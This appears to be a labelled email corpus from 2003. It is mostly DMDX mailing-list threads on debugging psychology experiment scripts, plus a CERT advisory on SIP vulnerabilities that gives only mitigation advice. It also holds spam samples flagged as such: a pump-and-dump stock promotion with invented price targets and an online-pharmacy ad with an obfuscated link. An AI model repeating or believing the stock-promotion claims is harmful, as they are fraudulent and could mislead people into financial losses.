"""Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 10:28:48 -0700",[DMDX] Re: Zillion typed responses again,"I'll probably make an international over the next few days, look for it in version 3.0.1.0 of DMDX. At 05:57 PM 2/20/2003 +0100, you wrote: >Dear Jonathan > > Thanks very much for your comments. yes, the timedx test lists > the button names with accents in them. > > I've now tried a zil file without the enter key option. the > syntax check still tells me that it can't find +delete but fortunately > proceeds anyway. So this little file at least works (hooray), and stores > what the subject typed, though i haven't got the please-go-away timing > right yet. > > 10000> > >$0 ""Items d'essai. Quand prêt, appuyez sur la barre espace.""; > >=250 %20 / * ""avion"" ; $ > >0 ""Items de test. Quand prêt, appuyez sur la barre espace."" ; > >=250 %20 / * ""crocodile"" ; >=250 %20 / * ""accordéon"" ; > >$0 LB ""Fin de cette partie, merci."" ; $ > > I found it interesting that one can switch between french and > english keyboards in word or in an email say, but having tried to leave > the keyboard switched to french, dm still reports for example the press > of a button marked q for the french version as an a. So spelling avion > gives qvion. It would be bad news if the times were of major importance, > but as they are not, I can paper over the keys which are different so > that they have english labels. I will also instruct the poor subjects > not to spell with accents. As you point out, they can't correct what > they have written either, but fortunately for this expt correct spelling > is not important. > > So, we could say that it 'kindof' works. > > Many thanks once again, > > Virginia > > > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 18:37:00 +0100",[DMDX] Zillion typed responses yet again,"Dear Jonathan In trying to make the setup subject friendly I took out the continuous run option, so that the subject could press the space bar feeling that it was to indicate the termination of their spelling, but with the happy consequence of bringing on the next picture. suddenly, however, this see;s to have mucked up dm's understanding of the dollar signs to keep what's inside in the same order and only scramble the rest. I put below what I have made but taken out the wav indicators so that it shows a word. if you wanted to try it you would only have to put keyboard instead of clavier and leave out mr. I'm sorry to keep troubling you but there is noone here to ask, and I don't think anyone I know has used zil anyway. virginia ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 18:19:18 +0000",[DMDX] Multiway branching question,"Hi Jonathan, I've spent about two hours banging my head against a brick wall (aka the multiway branch keyword) and wondered whether you could help. I'm trying to use multiway branching in conjunction with the and to do an auditory-response questionnaire task in which subjects get multiple opportunities to hear one or other of a pair of stimuli. My aim was to have any of ""s"", ""p"" or ""d"" be classed as a correct answer (mapped as a positive response). A correct response will move on to the next item (via item zero at the end of each block). This bit works fine. Responses ""m"", ""k"" and ""b"" should be incorrect and will play either the ""m"" file again (item 201) , the ""k"" file (item 401) or both files (branching back to item 1). However, the multiway branch condition only recognises ""branch if correct"" / ""bic"". My output files report the error message ""! No conditions met in multi-way branch"" anytime I press ""m"", ""k"" or ""b"". I've tried this a dozen ways, in DMDX 3.0.0.13 using different combinations of button mappings, zillion keys, formatting etc. without success. I'd be really grateful for some help. Thanks, Matt PS A chunk of the script (a single item and header line) looks like this: f2 d20 0 ""press SPACE to start""; +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid"" ; ~101 ; +201 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_orchid""; ~301 ; +401 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""k_orchid""; ~501 ; 0 ""item 1 - orchid"", ""press SPACE to move on to the next item""; +2 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_cousket"" /! <% 20> """" / ""k_cousket"" ; etc. **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 15:09:42 -0700",[DMDX] Re: Zillion typed responses yet again,"At 06:37 PM 2/20/2003 +0100, you wrote: >Dear Jonathan > > In trying to make the setup subject friendly I took out the > continuous run option, so that the subject could press the space bar > feeling that it was to indicate the termination of their spelling, but > with the happy consequence of bringing on the next picture. suddenly, > however, this see;s to have mucked up dm's understanding of the dollar > signs to keep what's inside in the same order and only scramble the > rest. I put below what I have made but taken out the wav indicators so > that it shows a word. if you wanted to try it you would only have to put > keyboard instead of clavier and leave out mr. > > I'm sorry to keep troubling you but there is noone here to ask, > and I don't think anyone I know has used zil anyway. Sorry, I'm much too busy. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 15:12:18 -0700",[DMDX] Re: Multiway branching question,"At 06:19 PM 2/20/2003 +0000, you wrote: >Hi Jonathan, > >I've spent about two hours banging my head against a brick wall (aka the >multiway branch keyword) and wondered whether you could help. > >I'm trying to use multiway branching in conjunction with the and > to do an auditory-response questionnaire task in which subjects get >multiple opportunities to hear one or other of a pair of stimuli. > >My aim was to have any of ""s"", ""p"" or ""d"" be classed as a correct answer >(mapped as a positive response). A correct response will move on to the >next item (via item zero at the end of each block). This bit works fine. > >Responses ""m"", ""k"" and ""b"" should be incorrect and will play either the >""m"" file again (item 201) , the ""k"" file (item 401) or both files >(branching back to item 1). However, the multiway branch condition only >recognises ""branch if correct"" / ""bic"". My output files report the error >message ""! No conditions met in multi-way branch"" anytime I press ""m"", ""k"" >or ""b"". > >I've tried this a dozen ways, in DMDX 3.0.0.13 using different >combinations of button mappings, zillion keys, formatting etc. without >success. I'd be really grateful for some help. So replace the bic condition with the three keys that are correct, s, p, and d. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Feb 2003 10:31:15 +0000",[DMDX] Re: Multiway branching question,"At 15:12 20/02/2003 -0700, you wrote: >At 06:19 PM 2/20/2003 +0000, you wrote: >>Hi Jonathan, >> >>I've spent about two hours banging my head against a brick wall (aka the >>multiway branch keyword) and wondered whether you could help. >> >>I'm trying to use multiway branching in conjunction with the and >> to do an auditory-response questionnaire task in which subjects get >>multiple opportunities to hear one or other of a pair of stimuli. >> >>My aim was to have any of ""s"", ""p"" or ""d"" be classed as a correct answer >>(mapped as a positive response). A correct response will move on to the >>next item (via item zero at the end of each block). This bit works fine. >> >>Responses ""m"", ""k"" and ""b"" should be incorrect and will play either the >>""m"" file again (item 201) , the ""k"" file (item 401) or both files >>(branching back to item 1). However, the multiway branch condition only >>recognises ""branch if correct"" / ""bic"". My output files report the error >>message ""! No conditions met in multi-way branch"" anytime I press ""m"", >>""k"" or ""b"". >> >>I've tried this a dozen ways, in DMDX 3.0.0.13 using different >>combinations of button mappings, zillion keys, formatting etc. without >>success. I'd be really grateful for some help. > > So replace the bic condition with the three keys that are correct, s, > p, and d. Hi Jonathan, Thanks for taking time to reply. Unfortunately, this doesn't seem to help. The is the only condition that is treated correctly by the keyword. Any time I try and use a specific response key in the multiway branch (using the syntax) I get the ""no conditions met"" error. If add S,P and D to the multiway branch then these are also not recognised. I'm running out of ideas for things to try here. This is particularly frustrating since this is the only thing that is keeping the script from working. Here's a chunk of the script again: f2 d20 0 ""press SPACE to start""; +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid"" ; ~101 ; +201 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_orchid""; ~301 ; +401 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""k_orchid""; ~501 ; 0 ""item 1 - orchid"", ""press SPACE to move on to the next item""; +2 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_cousket"" /! <% 20> """" / ""k_cousket"" ; etc. and the resulting zil output: ********************************************************************** Subject 1, 02/21/2003 10:24:32 on PC195, refresh 13.33ms Item 1, -4000.00 2593.33,+K ! No conditions met in multi-way branch Item 201, -2606.95 2606.95,+B ! No conditions met in multi-way branch Item 401, 1504.79 1504.79,+S ! Response correct, multi-way branch to item 0 Item 2, 1803.36 1803.36,+S ! Response correct, multi-way branch to item 0 As you can see the script runs fine, recording responses as expected. However, the multiway branch only handles ""correct responses"" such as ""S"" using the ""bic"" condition. Responses such as +K or +B which are mapped as negative (and hence incorrect) are not recognised by the multiway branch. I would be grateful for any other suggestions you can make. Cheers, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 21 Feb 2003 10:25:38 -0500",CERT Advisory CA-2003-06 Multiple vulnerabilities in implementations of the,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-06 Multiple vulnerabilities in implementations of the Session Initiation Protocol (SIP) Original release date: February 21, 2003 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected SIP-enabled products from a wide variety of vendors are affected. Other systems making use of SIP may also be vulnerable but were not specifically tested. Not all SIP implementations are affected. See Vendor Information for details from vendors who have provided feedback for this advisory. In addition to the vendors who provided feedback for this advisory, a list of vendors whom CERT/CC contacted regarding these problems is available from VU#528719. Overview Numerous vulnerabilities have been reported in multiple vendors' implementations of the Session Initiation Protocol. These vulnerabilities may allow an attacker to gain unauthorized privileged access, cause denial-of-service attacks, or cause unstable system behavior. If your site uses SIP-enabled products in any capacity, the CERT/CC encourages you to read this advisory and follow the advice provided in the Solution section below. I. Description The Session Initiation Protocol (SIP) is a developing and newly deployed protocol that is commonly used in Voice over IP (VoIP), Internet telephony, instant messaging, and various other applications. SIP is a text-based protocol for initiating communication and data sessions between users. The Oulu University Secure Programming Group (OUSPG) previously conducted research into vulnerabilities in LDAP, culminating in CERT Advisory CA-2001-18, and SNMP, resulting in CERT Advisory CA-2002-03. OUSPG's most recent research focused on a subset of SIP related to the INVITE message, which SIP agents and proxies are required to accept in order to set up sessions. By applying the PROTOS c07-sip test suite to a variety of popular SIP-enabled products, the OUSPG discovered impacts ranging from unexpected system behavior and denial of services to remote code execution. Note that ""throttling"" is an expected behavior. Specifications for the Session Initiation Protocol are available in RFC3261: http://www.ietf.org/rfc/rfc3261.txt OUSPG has established the following site with detailed documentation regarding SIP and the implementation test results from the test suite: http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/sip/ The IETF Charter page for SIP is available at http://www.ietf.org/html.charters/sip-charter.html II. Impact Exploitation of these vulnerabilities may result in denial-of-service conditions, service interruptions, and in some cases may allow an attacker to gain unauthorized access to the affected device. Specific impacts will vary from product to product. III. Solution Many of the mitigation steps recommended below may have significant impact on your everyday network operations and/or network architecture. Ensure that any changes made based on the following recommendations will not unacceptably affect your ongoing network operations capability. Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. Please consult this appendix and VU#528719 to determine if your product is vulnerable. If a statement is unavailable, you may need to contact your vendor directly. Disable the SIP-enabled devices and services As a general rule, the CERT/CC recommends disabling any service or capability that is not explicitly required. Some of the affected products may rely on SIP to be functional. You should carefully consider the impact of blocking services that you may be using. Ingress filtering As a temporary measure, it may be possible to limit the scope of these vulnerabilities by blocking access to SIP devices and services at the network perimeter. Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound traffic from the public Internet. Note that most SIP User Agents (including IP phones or ""clien""t software) consist of a User Agent Client and a User Agent Server. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound traffic to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. For SIP, ingress filtering of the following ports can prevent attackers outside of your network from accessing vulnerable devices in the local network that are not explicitly authorized to provide public SIP services: sip 5060/udp # Session Initiation Protocol (SIP) sip 5060/tcp # Session Initiation Protocol (SIP) sip 5061/tcp # Session Initiation Protocol (SIP) over TLS Careful consideration should be given to addresses of the types mentioned above by sites planning for packet filtering as part of their mitigation strategy for these vulnerabilities. Please note that this workaround may not protect vulnerable devices from internal attacks. Egress filtering Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound traffic to the Internet. In the case of the SIP vulnerabilities, employing egress filtering on the ports listed above at your network border may prevent your network from being used as a source for attacks on other sites. Block SIP requests directed to broadcast addresses at your router. Since SIP requests can be transmitted via UDP, broadcast attacks are possible. One solution to prevent your site from being used as an intermediary in an attack is to block SIP requests directed to broadcast addresses at your router. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. America Online Inc Not vulnerable. Apple Computer Inc. There are currently no applications shipped by Apple with Mac OS X or Mac OS X Server which make use of the Session Initiation Protocol. Borderware No BorderWare products make use of SIP and thus no BorderWare products are affected by this vulnerability. Clavister No Clavister products currently incorporate support for the SIP protocol suite, and as such, are not vulnerable. We would however like to extend our thanks to the OUSPG for their work as well as for the responsible manner in which they handle their discoveries. Their detailed reports and test suites are certainly well-received. We would also like to reiterate the fact that SIP has yet to mature, protocol-wise as well as implementation-wise. We do not recommend that our customers set up SIP relays in parallel to our firewall products to pass SIP-based applications in or out of networks where security is a concern of note. F5 Networks F5 Networks does not have a SIP server product, and is therefore not affected by this vulnerability. Fujitsu With regards to VU#528719, Fujitsu's UXP/V o.s. is not vulnerable because the relevant function is not supported under UXP/V. IBM SIP is not implemented as part of the AIX operating system. IP Filter IPFilter does not do any SIP specific protocol handling and is therefore not affected by the issues mentioned in the paper cited. IPTel All versions of SIP Express Router up to 0.8.9 are sadly vulnerable to the OUSPG test suite. We strongly advice to upgrade to version 0.8.10. Please also apply the patch to version 0.8.10 from http://www.iptel.org/ser/security/ before installation and keep on watching this site in the future. We apologize to our users for the trouble. Hewlett-Packard Company Source: Hewlett-Packard Company Software Security Response Team cross reference id: SSRT2402 HP-UX - not vulnerable HP-MPE/ix - not vulnerable HP Tru64 UNIX - not vulnerable HP OpenVMS - not vulnerable HP NonStop Servers - not vulnerable To report potential security vulnerabilities in HP software, send an E-mail message to: mailto:security-alert@hp.com Lucent No Lucent products are known to be affected by this vulnerability, however we are still researching the issue and will update this statement as needed. Microsoft Corporation Microsoft has investigated these issues. The Microsoft SIP client implementation is not affected. NEC Corporation =================================================================== NEC vendor statement for VU#528719 =================================================================== sent on February 13, 2002 Server Products * EWS/UP 48 Series operating system * - is NOT vulnerable, because it does not support SIP. Router Products * IX 1000 / 2000 / 5000 Series * - is NOT vulnerable, because it does not support SIP. Other Network products * We continue to check our products which support SIP protocol. =================================================================== NETBSD NetBSD does not ship any implementation of SIP. NETfilter.org As the linux 2.4/2.5 netfilter implementation currently doesn't support connection tracking or NAT for the SIP protocol suite, we are not vulnerable to this bug. NetScreen NetScreen is not vulnerable to this issue. Network Appliance NetApp products are not affected by this vulnerability. Nokia Nokia IP Security Platforms based on IPSO, Nokis Small Office Solution platforms, Nokia VPN products and Nokia Message Protector platform do not initiate or terminate SIP based sessions. The mentioned Nokia products are not susceptible to this vulnerability Nortel Networks Nortel Networks is cooperating to the fullest extent with the CERT Coordination Center. All Nortel Networks products that use Session Initiation Protocol SIP) have been tested and all generally available products, with the following exceptions, have passed the test suite: Succession Communication Server 2000 and Succession Communication Server 2000 - Compact are impacted by the test suite only in configurations where SIP-T has been provisioned within the Communication Server; a software patch is expected to be available by the end of February. For further information about Nortel Networks products please contact Nortel Networks Global Network Support. North America: 1-800-4-NORTEL, or (1-800-466-7835) Europe, Middle East & Africa: 00800 8008 9009, or +44 (0) 870 907 9009 Contacts for other regions available at the Global Contact web page. Novell Novell has no products implementing SIP. Secure Computing Corporation Neither Sidewinder nor Gauntlet implements SIP, so we do not need to be on the vendor list for this vulnerability. SecureWorx We hereby attest that SecureWorx Basilisk Gateway Security product suite (Firmware version 3.4.2 or later) is NOT VULNERABLE to the Session Initiation Protocol (SIP) Vulnerability VU#528719 as described in the OUSPG announcement (OUSPG#0106) received on Fri, 8 Nov 2002 10:17:11 -0500. Stonesoft Stonesoft's StoneGate high availability firewall and VPN product does not contain any code that handles SIP protocol. No versions of StoneGate are vulnerable. Symantec Symantec Corporation products are not vulnerable to this issue. Symantec does not implement the Session Initiation Protocol (SIP) in any of our products. Xerox Xerox is aware of this vulnerability and is currently assessing all products. This statement will be updated as new information becomes available. Appendix B. - References 1. http://www.ee.oulu.fi/research/ouspg/protos/ 2. http://www.kb.cert.org/vuls/id/528719 3. http://www.cert.org/tech_tips/denial_of_service.html 4. http://www.ietf.org/html.charters/sip-charter.html 5. RFC3261 - SIP: Session Initiation Protocol 6. RFC2327 - SDP: Session Description Protocol 7. RFC2279 - UTF-8, a transformation format of ISO 10646 8. Session Initiation Protocol Basic Call Flow Examples 9. Session Initiation Protocol Torture Test Messages, Draft _________________________________________________________________ The CERT Coordination Center thanks the Oulu University Secure Programming Group for reporting these vulnerabilities to us, for providing detailed technical analysis, and for assisting us in preparing this advisory. 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",DMDX@psy1.psych.arizona.edu,"Fri, 21 Feb 2003 15:31:11 -0700",[DMDX] Re: Multiway branching question,"At 10:31 AM 2/21/2003 +0000, you wrote: >Hi Jonathan, > >Thanks for taking time to reply. Unfortunately, this doesn't seem to help. Perhaps you need quotes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When a Banker jumps out of a window, jump after him -- that's where the money is. - Robespierre ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Feb 2003 15:32:38 -0700",[DMDX] Re: Ask for help," Yes. Almost anything new is fine. At 08:22 PM 2/21/2003 +0100, you wrote: >Dear Matt, > >I am planning to buy a new computer. Before I decide the type of >computer I would be grateful to hear from you about this point: > >Will DMDX-program run on the following computer? >- Proccesor and chipset: Intel P4 Celeron 1.7Ghz Zocalo Micro-FCPGA >478, chipset SIS650, AGP 4x FSB 400MHz >- Video controler: SMA 64MB, acelerator 128 bit 2D/3D shared, Dual view >display, TV-out >- Sound controler. SoundBlaster Pro, 3D stereo /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When a Banker jumps out of a window, jump after him -- that's where the money is. - Robespierre ",0,0 2y9qt3g ,DMDX@psy1.psych.arizona.edu,"Mon, 24 Feb 2003 10:28:19 +0800",Low-Profile Company With High Profit Potential [R E P O R T] baneberry Moliere,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. 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GET IN NOW, DO""NT REGRET LATER initials divider blackbody gadwall consoles dusting harmlessly jitterbug battleship determines fixating mightn't inquisitive anemometry gnat's Josephus anchor girders discord films loyal darning bellwethers abreaction canning condiment USAF immediately drug legality contrive easygoing earmarks mightn't gerundive ",1,0 Ryan Yunkers ,"njohnso2@gac.edu, jcrnkovi@gac.edu, sernst@gac.edu, kwells@gac.edu","Mon, 24 Feb 2003 15:22:55 -0600",Gustavus Sci Fi and Fantasy Club,"To the officers of the newly formed Gustavus Science Fiction and Fantasy Club: CONGRATULATIONS! After reviewing your application materials, I have found that not only have you completed the steps toward recognition and membership, but you did a thorough and impressive job of doing so. Therefore, you are instated as a newly recognized student organization with all the benefits and privileges therein including use of the Den; a Den mailbox (which should be checked weekly if not more often); the ability to reserve space in Lund, the Union, JCC, and other areas; and the right to post stamped advertising in the Union and JCC. Note that your mailbox will be before all other current boxes in the Den (and not in alpha order). Further, this week I will send out an updated list of all the groups that are recognized (or ""active"") to Student Senate, the Lund Center (Larry Zelenz), the Dean of Students Office, and other areas on campus. Should you have any questions about your recognition or status, please do not hesitate to contact me. Again, congratulations, and best of luck with your new group! Ryan Ryan Lee Yunkers Assistant Director of Student Activities Gustavus Adolphus College (507) 933-6282 ryunkers@gustavus.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 24 Feb 2003 16:06:34 -0700",[DMDX] DMDX 3.0.1.0,"DMDX 3.0.1.0 is released, it includes the international code. Just realized I've got to update the docs but that can happen later. Basically if you use the #keyboard device instead of clavier it should work. But it's going to appear to be an english keyboard as DMDX is internally mapping #16 to Q and so forth. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Wed, 26 Feb 2003 10:12:43 +0000",[DMDX] Re: Multiway branching question,"Hi Jonathan, I've already tried adding and taking away quotes from both the key definitions and the branch conditions to no avail. I still can't get multi-way branching to recognise any conditions other than ""branch if correct"" or ""branch if wrong"", and yet the interpreter doesn't have any problem with the syntax (with or without quotes is fine) - which to me suggests that I'm at least formatting the script correctly. Do you have an example script that uses a ""mwb"" based on which of several keys are pressed? Even a very small fragment that you used in debugging would help a lot. Many thanks for your help with this. Matt At 15:31 21/02/2003 -0700, you wrote: >At 10:31 AM 2/21/2003 +0000, you wrote: > >>Hi Jonathan, >> >>Thanks for taking time to reply. Unfortunately, this doesn't seem to help. > > > Perhaps you need quotes. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >When a Banker jumps out of a window, jump after him -- that's where the >money is. **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Feb 2003 12:21:21 -0700",[DMDX] DMDX 3.0.1.1,"Added a few counter 'constants' to the keyword to facilitate running DMDX for limited amounts of time: ClockOnTime The millisecond time that the clock was last turned on. This has two possible values depending on whether is turned on. If is on then loading a counter with clockontime will return the time the most recent clock on occurred since the first clock on in the item file, otherwise it is since the item file commenced execution. MillisecTime The millisecond time when the item is parsed since the item file commenced execution. VideoTime The current video retrace count when the item is parsed since the item file commenced execution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Feb 2003 13:48:34 -0700",[DMDX] Re: Multiway branching question,"At 10:12 AM 2/26/2003 +0000, you wrote: >Hi Jonathan, > >I've already tried adding and taking away quotes from both the key >definitions and the branch conditions to no avail. I still can't get >multi-way branching to recognise any conditions other than ""branch if >correct"" or ""branch if wrong"", and yet the interpreter doesn't have any >problem with the syntax (with or without quotes is fine) - which to me >suggests that I'm at least formatting the script correctly. > >Do you have an example script that uses a ""mwb"" based on which of several >keys are pressed? Even a very small fragment that you used in debugging >would help a lot. Hmm, something's busted. Not sure if it's your item file or the code in general but the variable that's supposed to have the name of the key pressed has NULL in it instead. I'm looking at it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Feb 2003 14:20:09 -0700",[DMDX] Re: Multiway branching question,"At 01:48 PM 2/26/2003 -0700, you wrote: > Hmm, something's busted. Not sure if it's your item file or the code > in general but the variable that's supposed to have the name of the key > pressed has NULL in it instead. I'm looking at it. No, nothing's busted, your must occur in the item that gathers the response. Your item structure was: +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid"" ; +201 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_orchid""; ~101 ; It needs to be: +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid"" ; +201 ""respond same / perhaps / different"", ""or matt / kadia / both to repeat"" / * ""m_orchid"" ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Feb 2003 15:36:42 -0700",[DMDX] Re: Multiway branching question,"Oops, those examples were a little wrong. Your item structure was: +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid""; ~101 ; It needs to be: +1 ""respond same / perhaps / different"" , ""or matt / kadia / both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid"" ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Tilting at windmills hurts you more than the windmills.",0,0 Ankur Sharma ,ankursharma@students.wisc.edu,"Wed, 26 Feb 2003 22:09:23 +0000",Gantt Chart,The New Gantt Chart for Spring 2003.STOP MORE SPAM with the new MSN 8 and get 2 months FREE*,0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Feb 2003 10:42:28 +0000",[DMDX] Re: Multiway branching question,"At 15:36 26/02/2003 -0700, you wrote: > Oops, those examples were a little wrong. Your item structure was: > >+1 ""respond same / perhaps / different"" , ""or matt / kadia >/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid""; >~101 ; > > It needs to be: > >+1 ""respond same / perhaps / different"" , ""or matt / kadia >/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / >""k_orchid"" ; > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Tilting at windmills hurts you more than the windmills. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 ****************************************************",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Feb 2003 10:42:56 +0000",[DMDX] Re: Multiway branching question,"Brilliant - that worked a treat. Thanks, Matt At 15:36 26/02/2003 -0700, you wrote: > Oops, those examples were a little wrong. Your item structure was: > >+1 ""respond same / perhaps / different"" , ""or matt / kadia >/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid""; >~101 ; > > It needs to be: > >+1 ""respond same / perhaps / different"" , ""or matt / kadia >/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / >""k_orchid"" ; > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Tilting at windmills hurts you more than the windmills. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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At 10:42 AM 2/27/2003 +0000, you wrote: >Brilliant - that worked a treat. > >Thanks, > >Matt > > > >At 15:36 26/02/2003 -0700, you wrote: > >> Oops, those examples were a little wrong. Your item structure was: >> >>+1 ""respond same / perhaps / different"" , ""or matt / kadia >>/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / ""k_orchid""; >>~101 ; >> >> It needs to be: >> >>+1 ""respond same / perhaps / different"" , ""or matt / kadia >>/ both to repeat"" / * ""m_orchid"" /! <% 20> """" / >>""k_orchid"" ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Garbage In -- Gospel Out.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Feb 2003 11:19:45 -0700",[DMDX] Re: Multiway branching question,"At 08:51 AM 2/27/2003 -0700, you wrote: > The philosophy of the clearing of the key code for is in somewhat > of a quandry. It was done long before the enhanced branching to > subroutines and items made checking branch conditions > across items a meaningful thing to do. I strongly suspect I'll stop > clearing it unless I or one of you can think of a condition that would be > broken by not clearing it. Yeah, next version (which I won't release unless it's immediately useful to someone) will allow use across items. From the new documentation: NOTE: Prior to version 3.0.1.2 of DMDX the keyword had to occur in the item that gathered the response if you were branching on key names. While the data used for bic and so forth persisted until the next RT was gathered the name of the key was cleared when a new was parsed so that binr would behave correctly. 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If so, would anyone be able to recommend a dual-head driver that runs smoothly with DMDX?   Thanks,   Angelo AlonzoMSN Instant Messenger now available on Australian mobile phones. Find our more.",0,1 Hugo Law ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Feb 2003 03:46:06 +0300",Have you ever used an online pharmacy?,"We are the only online pharmacy offering 100% satisfaction money back guarantee? http://tupn.em2mj511kbjmeew71ww71www.antikingdc.com/?yadrn ",1,1 Anna Woollams ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Feb 2003 21:09:17 +1100",[DMDX] Re: Video Driver Advice,"Dear Angelo, > I have DMDX installed on a computer running on Windows XP. However, when I > try to run an item file, the screen freezes and a message appears stating > that the video driver (NVIDIA GeForce2 MX/MX 400) may be the cause of the > instability. Does that mean I need to change the driver? If so, would anyone > be able to recommend a dual-head driver that runs smoothly with DMDX? I seem to recall having a similar problem. If you open a DOS window (I think it's called command line in XP) and run DMDX using the -buffers N command, you can determine what N should be in order for the machine 